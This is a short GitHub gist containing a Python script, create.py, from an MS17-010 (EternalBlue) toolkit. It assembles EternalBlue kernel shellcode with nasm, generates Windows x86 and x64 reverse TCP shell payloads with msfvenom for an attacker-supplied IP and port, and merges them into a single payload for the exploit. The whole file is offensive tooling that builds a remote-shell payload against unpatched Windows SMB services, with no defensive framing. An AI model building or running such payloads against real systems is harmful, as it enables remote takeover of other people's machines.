Skip to content

Instantly share code, notes, and snippets.

@NrI3
Created July 26, 2023 21:54
Show Gist options
  • Save NrI3/34104a0ed06c84ed5ec250f9de672a2e to your computer and use it in GitHub Desktop.
Save NrI3/34104a0ed06c84ed5ec250f9de672a2e to your computer and use it in GitHub Desktop.
MS17-010/shellcode/create.py
#!/bin/python3
import sys
import subprocess
def execute(command):
subprocess.check_call(command, shell=True, stdout=sys.stdout, stderr=subprocess.STDOUT)
narg = len(sys.argv)
if not narg == 4:
print('Usage')
print('python3 create.py {ip} {port} {shell_name}')
exit();
ip = str(sys.argv[1])
port = str(sys.argv[2])
shell_name = str(sys.argv[3])
execute("nasm -f bin ./eternalblue_kshellcode_x86.asm -o ./sc_x86_kernel.bin")
execute("nasm -f bin ./eternalblue_kshellcode_x64.asm -o ./sc_x64_kernel.bin")
c = 'msfvenom -p windows/shell_reverse_tcp LHOST=%s LPORT=%s -f raw -o ./sc_x86_msf.bin EXITFUNC=thread' % (ip, port)
execute(c)
c = 'msfvenom -p windows/x64/shell_reverse_tcp LHOST=%s LPORT=%s -a x64 -f raw -o ./sc_x64_msf.bin EXITFUNC=thread' % (ip, port)
execute(c)
execute("cat sc_x86_kernel.bin sc_x86_msf.bin > ./sc_x86.bin")
execute("cat sc_x64_kernel.bin sc_x64_msf.bin > ./sc_x64.bin")
execute("python ./eternalblue_sc_merge.py ./sc_x86.bin ./sc_x64.bin ./%s" % shell_name)
print("[+] Shellcode name as: %s" % (shell_name))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment